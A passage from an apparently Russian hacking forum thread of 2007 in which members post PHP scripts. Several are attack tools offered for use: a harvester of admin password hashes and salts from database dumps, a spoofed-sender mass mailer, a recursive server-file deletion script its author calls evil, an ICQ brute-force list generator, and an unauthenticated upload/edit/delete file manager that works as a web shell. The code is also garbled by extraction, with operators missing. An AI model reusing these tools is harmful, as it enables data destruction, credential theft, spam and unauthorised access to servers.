$d=opendir('.');
while((
$e=readdir($d))!=false) {
    if(
$e=='.'||$e=='..'||$e==$admin_filename||$e==$hash_filename||$e==$argv[0]) continue;
    if(
is_file($e)) {
        if(
$makefiles==1)$f fopen("$e.$ext","w+");
        echo 
"[+] $e (".filesize($e)." bytes)\n";
        
$file file($e);
        
        foreach(
$file as $a) {
            
$tmp explode(' ',$a); $tablesuf=$tmp[1];
            if(!
$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
            foreach(
array_unique(array_merge($sort,$admin_comment)) as $s) {
                if(
$tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
            }
            if(!
$y$vars[]='b'; else unset($y);
            if(
strstr($a,'PRIMARY KEY')) break;
        }
        
        foreach(
$file as $a) {
            if(
strstr($a,"INSERT INTO")) {
                
$tmp preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
                
$values explode(',',$tmp);
                foreach(
$values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
                foreach(
$sort as $s) {
                    if(!
$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
                        if(
$admins==1&&$hashmake==0&&$makefiles==0) {
                            if(!
$tr$tr[]=$e;
                            if(
$v['name']==$admin_pass$tr[]=make($m[$v['num']]);
                            elseif(
$v['name']==$admin_salt$tr[]=checksalt(make($m[$v['num']]));
                            foreach(
$admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
                            
$admok=1;
                        } else {
                            if(
$s==$v['name']) {
                                if(
$s=='salt'$tm[] = checksalt(make($m[$v['num']])); 
                                else 
$tm[] = make($m[$v['num']]);
                            }
                            if(
$admins==1&&!$admok) {
                                if(!
$tr$tr[]=$e;
                                if(
$v['name']==$admin_pass$tr[]=make($m[$v['num']]);
                                elseif(
$v['name']==$admin_salt$tr[]=checksalt(make($m[$v['num']]));
                                foreach(
$admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
                            }
                        }
                    }
                    if(
$admok==1) break; $admok=2;
                }
                if(
$tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comment,', ');
                unset(
$tr); unset($m); unset($tm); unset($comment);
                if(
$admok==1) break;
            }
        }
        if(
$makefiles==1) {
            if(
$site==1) {
                
$host preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
                echo 
"[:] connecting to $host..\n";
                
$fp fsockopen($host,80,&$errno,&$errstr,5);
                if(!
$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
                
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
                while(!
feof($fp)) {
                    
$tmp=fgets($fp,1000);
                    if(
preg_match("'charset='i",$tmp)||!$schar) {
                        
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
                        if(
preg_match("'koi8-r'i",$ch)) $koi=1;
                        elseif(
preg_match("'iso8859-5'i",$ch)) $iso=1$schar=1;
                    }
                    elseif(
preg_match("'<title>(.*?)</title>'i",$tmp)) {
                        
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
                        echo 
"[:] TITLE ok..\n";
                    }
                    elseif(
preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
                        
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
                        echo 
"[:] KEYWORDS ok..\n";
                    }
                    elseif(
preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
                         
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
                         echo 
"[:] DESCRIPTION ok..\n";
                    }
                    elseif(
preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
                }
                
fclose($fp);
                if(
$koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
                if(
$iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
                
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"$title=$host=$descr=$kiwords='';
            }
            echo 
"[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
        }
        unset(
$vars); unset($file); unset($towrite); unset($admok);
    }
}
if(
$hashmake==1) { echo "[*] sorting & writing all hashes..\n"; @asort($globhash); $f fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
if(
$admins==1) { echo "[*] sorting & writing admin hashes..\n"; @asort($odmen); $f fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

myau();
?>


DRON-ANARCHY 25.03.2007 21:48

давно хотел навоять че-нить подобное... но руки коротки)
держи плюс до кучи)

Joker-jar 30.03.2007 12:14

JavaScript попап

Код:

function popup(height,width,tittle,text)
  {
  msg=window.open("","msg","height="+height+",width="+width+",left=300,top=300");
  msg.document.write("<html><title>"+tittle+"</title>");
  msg.document.write("<b"+"ody onblur=window.close()>");
  msg.document.write(text);
  msg.document.write("</b"+"ody></html>");
}

Только что дорабатывал скрипт своей гостевой и с удивлением заметил, что в PHP < 5 отсутствует столь важная функция str_ireplace. Но безвыходных ситуаций не бывает :)

PHP код:

if(!function_exists('str_ireplace')) 
  {
  function 
str_ireplace($search,$replace,$subject
    {
    
$search preg_quote($search"/");
    return 
preg_replace("/".$search."/i"$replace$subject); 
    }
  } 


DRON-ANARCHY 31.03.2007 14:05

Цитата:

отсутствует столь важная функция str_ireplace
зато присутствует str_replace() которой можно вырезать или заменить че угодно

mamamot 07.04.2007 20:21

Отправка анонимных сообщений с вложениями. Отправляет сообщения от указанного вами пользователя и с указанного мыла всем указанным в файле maillist.txt
Он должен иметь вид:

Код:

lol1@mail.ru
lol2@mail.ru
lol3@mail.ru

т.е. по одному мылу в строку без разделителя
PHP код:

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Anonym mail sender with attachment</title>
</head>
<body>
<form method="POST" >
<input name="action" type="hidden" value="send" />
<p><label for="from_mail" >С какого адреса e-mail: <input type="text" name="from_mail" /></label></p>
<p><label for="from_name" >От чьего имени: <input type="text" name="from_name" /></label></p>
<p><label for="path" >Относительный путь к файлу: <input type="text" name="path" /></label></p>
<p><label for="theme" >Тема: <input type="text" name="theme" /></label></p>
<textarea name="message" cols="30" rows="5" ></textarea>
<input type="submit" name="submit" value="Начать" />
</form>

<?php

  
// Вспомогательная функция для отправки почтового сообщения с вложением 
  
function send_mail($from_name$from_mail$thm$msg$path
  { 
    
$fp fopen($path,"r"); 
    if (!
$fp
    { 
      print 
"Файл $path не может быть прочитан"
      exit(); 
    } 
    
$file fread($fpfilesize($path)); 
    
fclose($fp); 
    
// Создаем сообщение
    
$boundary "--".md5(uniqid(time())); // генерируем разделитель 
    
$headers .= "MIME-Version: 1.0\n"
    
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n"
    
$headers .= "From: $from_name <$from_mail>\n";
    
$multipart .= "--$boundary\n"
    
$encoding 'windows-1251';
    
$multipart .= "Content-Type: text/html; charset=$encoding\n"
    
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n"
    
$multipart .= "$msg\n\n"

    
$message_part "--$boundary\n"
    
$message_part .= "Content-Type: application/octet-stream\n";      
    
$message_part .= "Content-Transfer-Encoding: base64\n"
    
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n"
    
$message_part .= chunk_split(base64_encode($file))."\n"
    
$multipart .= $message_part."--$boundary--\n"
    
    
// Начинаем отправку
    
    
$str_to=file_get_contents("maillist.txt");
    
$maillist=explode("\r\n",$str_to);
    foreach(
$maillist as $mail)
    {
        if(!
mail($mail$thm$multipart$headers)) 
        { 
            echo 
"Не отправлено:".$mail."<br />"
        }
        else
        {
            echo 
"Отправлено:".$mail."<br />" ;
        }
    }
  } 
  
  
    if(isset(
$_POST['action']) && $_POST['action']=="send")
    {
        echo 
"<br />Начинаем отправку<br />";
        
send_mail($_POST['from_name'],$_POST['from_mail'],$_POST['theme'],$_POST['message'],$_POST['path']);
    }
    

echo 
"</body>";
echo 
"</html>";
?>

Писал сам:)

mR_LiNK[deface_0nl 11.04.2007 02:11

Классический пример получения док-а по httP


Скрипт, который по httP протоколу получает документ с сервера::

PHP код:

<?
$fp 
fsockopen("www.host.ru"80, &$errno, &errstr30);

//посылаем GET-форму в виде "URL+хост"
fputs($fp"GET /files/doc.zip HTTP/1.0\nHOST: www.host.ru \n\n");

//ситаем все до начала следующего док-а
while(fgets($fp2048) !="\n\n" && !feof($fp));

//копируем то, что прочитали в переменную $buff
uset($buff);
while(!
feof($fp)) $buff.=fread($fp2048);

//закрывается сокет
fclose($fp);

echo 
'Файл загружен, размер файла: ' .strlen($buff). 'bytes.';
flush();

//далее записываем загруженный файл в другой, 
//к примеру, dload.out. Если мы скачали zip файл, то,
// переименовав dload.out в dload.zip, можно дальше 
//работать с этим файлом как с обычным zip архивом.
$f=fopen('dload.out''wb+');
fwrite($f$buffstrlen($buff));
fclose($f);
?>

ЗЫ::Ответ сервера состоит из заголовка и тела документа. Интересует же только тело документа.
Поэтому, все что идет до документа мы пропускаем, зная, что заголовок от тела документа отделяется строкой "\r\n". Заголовок читается функцией 'fgets', а бинарные данные 'fread'


ЗЫЫ:: кстати не так давно, не помню кто, спрашивали о генераторе паролей..простейший вариант:

PHP код:

<?
$pass 
md5(uniqid(rand), true);
//возвращается 128-битный хеш
...
?>


mamamot 11.04.2007 16:38

Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:
Код:

HTTP        203.94.89.112        80        No        UnResolved        UnResolved        704        No
HTTP        66.165.172.163        80        No        UnResolved        UnResolved        562        No
HTTP        212.227.80.22        3128        No        UnKnown        s15179588.rootmaster.info        4328        No
HTTP        219.95.65.250        80        No        UnResolved        UnResolved        1047        No
HTTP        85.88.182.139        3128        No        Russia        not-defined-pppoe.amur.ru        1032        No

т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:
PHP код:

<?php
    
//////////////////////////////////////////////////////////////////
    //proxy_list_generator.php
    //creats an ip:port proxylist
    //coded by mamamot, 2007
    //////////////////////////////////////////////////////////////////
    //задаем регулярные выражения
    
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
    
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
    
//читаем файл
    
$raw=file("rawproxy.txt");
    
//счетчик
    
$counter=0;
    
//перебираем каждую строку
    
foreach($raw as $line)
    {
        
$is_ip_match preg_match($ip_regex$line$ipmatch);
        if(
$is_ip_match==1)
        {
            
$ip=$ipmatch[0];
            
$is_port_match=preg_match($port_regex$line$port_match);
            if(
$is_port_match==1)
            {
                
$port=$port_match[0];
                
//убираем символы табуляции
                
$port=str_replace("\t","",$port);
                
//добавляем в строку. Замените \r\n на \n если работете на никсах
                
$output .= $ip.':'.$port."\r\n";
                
$counter++;
            }
        }
    }
    
//пишем в файл
    
file_put_contents("proxies.txt"$output);
    echo 
"done succesfully:".$counter."items parsed";
?>

да еще и посчитаем заодно:)

mR_LiNK[deface_0nl 12.04.2007 00:13

рекурсивное удаление
 
Зло зло зло__))
//малые шалости_
"Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"

Теперь по делу::
PHP код:

<?php
//вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
//чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
//так как наверняка веб_приложение находится в отдельной директории))))
//поехали
delfiles("..");

//функция, удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
$dir opendir($catalog)
while (
false !== ($file readdir($dir))
  {
  
//Если текущей объект - файл, то что делаем?? del del & del
  
if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
  
//Если текущий объект - каталог, то рекурсивный вызов delfiles(), 
  //тем самым избегаем каталогов '.' и '..',
  //которые соответствуют текущему и вышележащему))
  
else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
  }
  
//закрываем дир
  
closedir($dir);
  
//ну и на последок))
  
rmdir($catalog);

?>

О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
НО последнее слово как всегда за правами доступа))..ну разве это проблема)

Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
Безопасность::
Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))

зы:: 2nc.striem -> исправлено!

Fr-Ron 12.04.2007 01:11

Вот, сегодня написал... Генерация uin;pass list по словарю для уинов с заданной маской (xxxyxxz 5557552)

PHP код:

<?php

$mask 
"xxxyxxz";
$pass file("pass.txt");

$f fopen("result.txt""w");

If (
$mask){

For (
$x 1$x <= 9$x++){
 For (
$y 0$y <= 9$y++){
  For (
$z 0$z <= 9$z++){
   For (
$p 0$p <= 99$p++){ If ($pass[$p+1]) { $num $mask;
    For (
$n 0$n <= 8$n++){

    If ( 
$num[$n] == "x" ) { $num[$n] = $x; }
    If ( 
$num[$n] == "y" ) { $num[$n] = $y; }
    If ( 
$num[$n] == "z" ) { $num[$n] = $z; }
    
    

   
fputs ($f,$num.";".$pass[$p]); }}}}}}

fclose ($f);

?>


nc.STRIEM 12.04.2007 02:04

конвертирование jpg в html с 100% сохранением качества картинки! (размер знчительно увеличеваеться)
PHP код:

<?
$imgjpg
='pic.jpg'//имя  jpg картинки

set_time_limit(0);
$start=time('s');
$fo=fopen($imgjpg.'.html','w');
fwrite($fo,'<table border=0  cellspacing=0 cellpadding=0><style>td{width: 1px;height: 1px;}</style>');
$im ImageCreateFromjpeg($imgjpg);
$sim=array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F');
function 
to16($de)
{
   global 
$sim;
   
$ans='';
   
$ans.=$sim[($de-$de%16)/16];
   
$ans.=$sim[$de%16];
   return 
$ans;
}
$x=imagesx($im);
$y=imagesy($im);
for(
$j=0;$j<$y;$j++)
{
fwrite($fo,'<tr>');
  for(
$i=0;$i<$x;$i++)
  {
     
$rgb=ImageColorAt($im$i,$j);
       
$r to16(($rgb >> 16) & 0xFF);
       
$g to16(($rgb >> 8) & 0xFF);
       
$b =to16($rgb 0xFF);
   
fwrite($fo,"<td bgcolor=$r$g$b></td>");
   }
  
fwrite($fo,'</tr>');
}
fclose($fo);
echo 
'Законченно за: '.(time('s')-$start).' секунд(ы)<br><a href="'.$imgjpg.'.html">Открыть</a>'
?>


grinay 12.04.2007 02:05

Цитата:

Сообщение от mamamot
Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:
Код:

HTTP        203.94.89.112        80        No        UnResolved        UnResolved        704        No
HTTP        66.165.172.163        80        No        UnResolved        UnResolved        562        No
HTTP        212.227.80.22        3128        No        UnKnown        s15179588.rootmaster.info        4328        No
HTTP        219.95.65.250        80        No        UnResolved        UnResolved        1047        No
HTTP        85.88.182.139        3128        No        Russia        not-defined-pppoe.amur.ru        1032        No

т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:
PHP код:

<?php
    
//////////////////////////////////////////////////////////////////
    //proxy_list_generator.php
    //creats an ip:port proxylist
    //coded by mamamot, 2007
    //////////////////////////////////////////////////////////////////
    //задаем регулярные выражения
    
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
    
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
    
//читаем файл
    
$raw=file("rawproxy.txt");
    
//счетчик
    
$counter=0;
    
//перебираем каждую строку
    
foreach($raw as $line)
    {
        
$is_ip_match preg_match($ip_regex$line$ipmatch);
        if(
$is_ip_match==1)
        {
            
$ip=$ipmatch[0];
            
$is_port_match=preg_match($port_regex$line$port_match);
            if(
$is_port_match==1)
            {
                
$port=$port_match[0];
                
//убираем символы табуляции
                
$port=str_replace("\t","",$port);
                
//добавляем в строку. Замените \r\n на \n если работете на никсах
                
$output .= $ip.':'.$port."\r\n";
                
$counter++;
            }
        }
    }
    
//пишем в файл
    
file_put_contents("proxies.txt"$output);
    echo 
"done succesfully:".$counter."items parsed";
?>

да еще и посчитаем заодно:)

Кто вас так учил писать регулярные выражения?)
Ты что.Я ужаснулся когда это увидел.

PHP код:

<?php
$data
="HTTP    203.94.89.112    80    No    UnResolved    UnResolved    704    No
HTTP    66.165.172.163    80    No    UnResolved    UnResolved    562    No
HTTP    212.227.80.22    3128    No    UnKnown    s15179588.rootmaster.info    4328    No
HTTP    219.95.65.250    80    No    UnResolved    UnResolved    1047    No
HTTP    85.88.182.139    3128    No    Russia    not-defined-pppoe.amur.ru    1032    No"
;
preg_match_all("/[\d]+\.[\d]+\.[\d]+\.[\d]+\s[\d]+/i",$data,$match);
print_r($match);
?>


Fr-Ron 12.04.2007 08:38

Вот, давненько писал, руки никак не доходят чтоб чазмер и прорчие прелести выводились =)

Галерея для изображений. По дэфолту берет все изображения из папки /walp.
Автоматически считает все картинки в папке и постранично выводит их уменьшенные копии ( по 4 на странице ). При нажатии на мини - картинку, кидает на оригинал.

PHP код:

        <?php

          $dir 
opendir ("./walp");
           
$count_f 0;
            while ( 
$file readdir ($dir))
             {
              if (( 
$file != ".") && ($file != ".."))
             { 
$count_f $count_f 1; }
               
$walp[$count_f] = $file;
             }
          
closedir ($dir);

          
//  Выводим список страниц
              
If ($p == 0) { $p 1; }
              print (
"<br><br>");
              
$pp $p 1;
              print (
"pages :");
              if (
$p 1) { print ("<a href = ?p=$pp> &lt;&lt;prev..</a>"); }
              print (
"<a href = ?p=1>1</a>");
              for (
$i 2$i <= ($count_f/4); $i++)
              { print (
"..<a href = ?p=$i>$i</a>"); }
              
$count_fn $count_f/4;
              if ((
$i 1)*$count_f)
              { print (
"..<a href = ?p=$i>$i</a>"); }
              
$pn $p 1;
              if (
$p $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
              print (
"<br><hr width = 80%>");

           
//  Выводим картинки в зависимоти от страницы

          
if ($p $count_f/4)
         {
          for (
$i = ($p*3); $i <= ($p*4); $i++)
          {
            print (
"<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
          }
              print (
"<br><br>");
         }
          if ( 
$p >= $count_f/4)
          {
          for (
$i = ($p*3); $i <= $count_f$i++)
          {
            print (
"<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>");
          }
              print (
"<br><br>");
           }
           
//  Выводим список страниц

              
print ("<br><br>");
              
$pp $p 1;
              print (
"pages :");
              if (
$p 1) { print ("<a href = ?p=$pp> &lt;&lt;prev..</a>"); }
              print (
"<a href = ?p=1>1</a>");
              for (
$i 2$i <= ($count_f/4); $i++)
              { print (
"..<a href = ?p=$i>$i</a>"); }
              
$count_fn $count_f/4;
              if ((
$i 1)*$count_f)
              { print (
"..<a href = ?p=$i>$i</a>"); }
              
$pn $p 1;
              if (
$p $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); }
              print (
"<br><hr width = 80%>");
          
?>


mamamot 14.04.2007 19:07

Полностью написанный мною файловый менеджер на пхп.
Включает в себя текстовый редактор файлов, функцию рекурсивного удаления каталогов, загрузки файлов на сервер и создания новых папок...+ позитивный дезигн и еще много всего - в одном файле!!!
PHP код:

<?php
/////////////////////////////////////////////////////////////////
/////////////////////////php file browser/////////////////////////
///////////////coded by mamamot spec. for antichat.ru ///////////////
//////////////////////////////2007//////////////////////////////

//проверяем содержимое массива POST
    
if(isset($_POST['do']))
    {
        
//записываем в файл после редактирования
        
if($_POST['do']=="edit")
        {
                
$fd=fopen($_POST['filename'], w);
                if(!
$fd) exit("Ошибка!");
                
fwrite($fd$_POST['content']);
                
fclose($fd);
                echo 
"Редактирование успешно завершено!";
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
        }
        
//загружаем файл на сервер
        
elseif($_POST['do']=="upload")
        {        
            if(
copy($_FILES['filename']['tmp_name'], $_POST['p']."/".$_FILES['filename']['name']))
            {
                echo(
"Файл успешно загружен: <br />");
                echo(
$_FILES['filename']['name']);
                echo 
'<br />';
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
            }
            else
            {
                echo(
"Ошибка!<br />");
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
            }
        }
        exit();
    }
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
    <head>
        <title><? echo "php file browser"; if(isset($_GET['p'])) echo " - ".$_GET['p']; ?></title>
        <style type="text/css" >
            body
            {
                font-family: Verdana, Arial;
                font-size: 14px;
                background-color: #fcc;
            }
            tr.header
            {
                background-color: #ccf;
                font-family: Verdana, Arial;
                font-size: 14px;
            }
            tr.one
            {
                background-color: #cff;
                font-family: Verdana, Arial;
                font-size: 14px;
            }
            tr.two
            {
                background-color: #fc6;
                font-family: Verdana, Arial;
                font-size: 14px;
            }
            h2
            {
                font-family: Verdana, Arial;
                font-size: 22px;
                color:#000;
            }
        </style>
    </head>
    <body>
        <?php
            
//Удаление файла
            
function delete_file($dir$name)
            {
                if(!@
unlink($dir."/".$name))
                {
                    echo 
"Доступ запрещен!";
                }
                else
                {
                    echo 
"Удалено успешно!";
                }
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
            }
            
            
//рекурсивное удаление папки
            
function delete_dir($dir)
            {
                
//открываем папку
                
$dd=opendir($dir);
                
//просматриваем все файлы
                
$todo=true;
                while((
$file readdir($dd)))
                {
                    
//если файл - удаляем
                    
if(is_file("$dir/$file"))
                    {
                        if(!
unlink("$dir/$file"))
                        {
                            exit(
"Ошибка-доступ запрещен!");
                        }
                    }
                    
//если папка - вызываем рекурсивно функцию удаления
                    
elseif(is_dir("$dir/$file") && $file!='.' && $file!='..')
                    {
                        
delete_dir("$dir/$file");
                    }


                }
                
//закрываем папку
                
closedir($dd);
                
//удаляем саму уже пустую директорию
                
rmdir($dir);
                echo 
"Успешно удалено!<br />";
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
            }
            
            
//вывод формы загрузки файла
            
function upload_form()
            {
                echo 
'<h2>Загрузка файла в '.$_GET['p'].'</h2>
                <form method="post" enctype="multipart/form-data" >
                    <input type="file" name="filename" /><br />
                    <input type="hidden" name="p" value="'
;
                if(isset(
$_GET['p']))
                {
                    echo 
$_GET['p'].'" />';
                }
                else
                {
                    echo 
'." />';
                }
                echo 
'<input type="hidden" name="do" value="upload" />';
                echo 
'<input type="submit" value="Загрузить" />';
                echo 
'</form>';
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
            }
            
            
//вывод информации о файле
            
function file_info()
            {
                
$query=$_GET['p']."/".$_GET['name'];
                echo 
"<h2>Информация о файле: $query</h2>";
                echo 
"Размер: ".filesize($query)."<br />";
                
$type=filetype($query);
                echo 
"Тип: ".$type."<br />";
                echo 
"Последнее изменение: ".date("d.m.Y G:i:s",filemtime($query))."<br />";
                if(
$type=="file")
                {
                    echo 
'<a href="'.$query.'" >Скачать/просмотреть</a><br />';
                    echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$query.'" >Удалить файл</a><br />';
                    echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=edit&p='.$_GET['p'].'&name='.$_GET['name'].'" >Редактировать(текстовый режим)</a><br />';
                }
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
            }
            
            
//создание папки
            
function makedir($query$dirname)
            {
                
$custom=$query."/".$dirname;
                if(!
mkdir($custom,0700))
                {
                    echo 
"Ошибка создания каталога!";
                }
                else
                {
                    echo 
"Успешно создано!";
                }
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >Вернуться</a>';
            }
            
            
//вывод формы редактирования файла
            
function edit_file($dir$name)
            {
                
$query=$dir.'/'.$name;
                
$fd=fopen($query"r");
                if(
$fd)
                {
                    
$buf=fread($fdfilesize($query));
                    
fclose($fd);
                    echo 
'<h2>Редактирование файла</h2>';
                    echo 
'<form method="POST" >';
                    echo 
'<textarea cols="100" rows="50" name="content" >'.$buf.'</textarea><br />';
                    echo 
'<input type="hidden" name="do" value="edit" />';
                    echo 
'<input type="hidden" name="p" value="'.$dir.'" />';
                    echo 
'<input type="hidden" name="filename" value="'.$dir.'/'.$name.'" />';
                    echo 
'<input type="submit" name="submit" value="Сохранить" />';
                    echo 
'</form>';
                }
                else
                {
                    echo 
'Ошибка!';
                }
                echo 
'<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$dir.'" >Вернуться</a>';                
            }
            
            
//проверяем режим вывода
            
if(!isset($_GET['do']) || $_GET['do']=="browse")
            {
                
//основная функция - главное окно работы с файлами и папками
                
if(!isset($_GET['p']))
                {
                    
$dir ".";
                    echo 
"<h2>Корневая директория<h2>";
                    
//получаем список файлов
                    
$filelist scandir(".");
                }
                else
                {
                    echo 
"<h2>".$_GET['p']."</h2>";
                    
$dir=$_GET['p'];
                    
//получаем список файлов
                    
$filelist scandir("./".$_GET['p']);
                }
                
//выводим данные в виде таблицы
                //выводим заголовок таблицы
                
echo "<table>";
                echo 
'<tr class="header">';
                echo 
"<td>Имя</td>";
                echo 
"<td>Размер</td>";
                echo 
"<td>Тип файла</td>";
                echo 
"<td>Последнее изменение</td>";
                echo 
"<td>Удалить</td>";
                echo 
"</tr>";
                
$one=true;
                foreach(
$filelist as $file)
                {
                    
$query=$dir."/".$file;
                    
//получаем тип файла
                    
$type=filetype($query);
                    
//задаем стиль строки для облегчения восприятия
                    
if($one)
                    {
                        echo 
'<tr class="one">';
                    }
                    else
                    {
                        echo 
'<tr class="two">';
                    }
                    
$one=!$one;
                    if(
$type=="dir")
                    {
                        echo 
'<td><a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >'.$file.'</a></td>';                    
                    }
                    else
                    {
                        echo 
'<td><a href="'.$_SERVER['PHP_SELF'].'?do=fi&p='.$dir.'&name='.$file.'" >'.$file.'</a></td>';
                    }
                    
//выводим размер файла
                    
echo "<td>".filesize($query)."</td>";
                    echo 
"<td>".$type."</td>";
                    echo 
"<td>".date("d.m.Y G:i:s",filemtime($query))."</td>";
                    if(
$type=="file")
                    {
                        echo 
'<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$dir.'&name='.$file.'" >Удалить файл</a></td>';
                    }
                    elseif(
$type=="dir")
                    {
                        echo 
'<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_d&p='.$query.'" >Удалить папку</a></td>';                        
                    }
                    echo 
"</tr>";
                }
                echo 
"</table>";
                
//после таблицы мы выводим дополнительные инструменты
                //создание папки
                
echo '<p>';
                echo 
'Создание папки в текущей директории:<br />';
                echo 
'<form method="GET" >';
                echo 
'<input type="hidden" name="do" value="mkdir" />';
                echo 
'<input type="hidden" name="p" value="'.$dir.'" />';
                echo 
'<input type="text" name="name" value="Имя папки" />';
                echo 
'<input type="submit" name="submit" value="submit" />';
                echo 
'</form>';
                echo 
'<p>';
                
//загрузка файла
                
                
echo '<p>';
                echo 
'Загрузить файл';
                echo 
'<form method="POST" enctype="multipart/form-data" >';
                echo 
'<input type="hidden" name="do" value="upload" />';
                echo 
'<input type="hidden" name="p" value="'.$dir.'" />';
                echo 
'<input type="file" name="filename" /><br />';
                echo 
'<input type="submit" name="submit" value="Загрузить" />';
                echo 
'</form>';
            }
            
//информация о файле
            
elseif($_GET['do']=="fi")
            {
                
file_info();
            }
            
//удаление файла
            
elseif($_GET['do']=="delete_f")
            {
                
delete_file($_GET['p'],$_GET['name']);
            }
            
//удаление папки
            
elseif($_GET['do']=="delete_d")
            {
                
delete_dir($_GET['p']);
            }
            
//редактирование файла
            
elseif($_GET['do']=="edit")
            {
                
edit_file($_GET['p'],$_GET['name']);
            }
            elseif(
$_GET['do']=="mkdir")
            {
                
makedir($_GET['p'],$_GET['name']);
            }
        
?>
    </body>
</html>

Я долго отлаживал, но если остались баги-не судите строго:)

mamamot 15.04.2007 11:59

Цитата:

Сообщение от grinay
Кто вас так учил писать регулярные выражения?)
Ты что.Я ужаснулся когда это увидел.

А я их и не писал :D :D
Ненавиже регексы - я залез на http://regexlib.com и взял оттуда:) Ибо я вообще раньше кодил на ВБ.НЕТ и не привык напрягаться :D

nc.STRIEM 15.04.2007 14:24

>>>mamont
http://php.ru/manual/function.scandir.html
Цитата:

scandir
